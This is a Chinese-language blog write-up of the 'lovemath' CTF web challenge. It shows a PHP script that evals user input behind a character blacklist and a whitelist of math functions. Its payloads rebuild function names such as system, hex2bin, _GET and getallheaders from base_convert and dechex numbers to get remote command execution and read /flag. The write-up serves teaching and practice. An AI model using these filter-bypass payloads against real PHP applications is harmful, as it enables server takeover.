lovemath

本文最后更新于:2022年11月3日 晚上

这个题似乎好久以前做过,但是这次又忘了这茬,还是记录一下吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

代码没啥分析的,就是给了个白名单,只有白名单的函数能使用,然后会过滤一些字符

这里就要提到一个点了,36进制实际上就是0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ,也就是说可以通过36进制获得任意字母

1
base_convert(1751504350,10,36)(base_convert(19003,10,36))

image-20221102224935650

但是此时还是没法执行cat /flag,需要想办法绕过一下

这里利用hex2bin获取任意ascii

1
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(dechex(109270211257898)))

按道理说应该是可以执行了,但是好像太长了

image-20221103134735484

比较常规的思路是通过$_GET[]传参,但是[]被过滤了,php中的数组也可以用{}来访问,仅限于低版本。

PHP7.4不再能够使用花括号来访问数组或者字符串的偏移.需要将{}修改成[]

1
base_convert(37907361743,10,36)(dechex(1598506324));

上面的payload可以获得_GET

如果构造完整的payload还是超长了,可以把以上payload存入变量,然后复用两次变量,一个作为system,一个作为参数。

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{1}($$pi{2});

这里get的参数值直接用了int,可以不用管引号,经过测试是可行的

image-20221103191804403

因为复用了一次get,所以长度也没有超标,至此完成完美getshell,执行cat /flag获得flag

其实还是走了一段弯路,可以构造getallheader来得到请求头,利用请求头传参来实现rce

1
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})  //exec(getallheaders(){1})

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!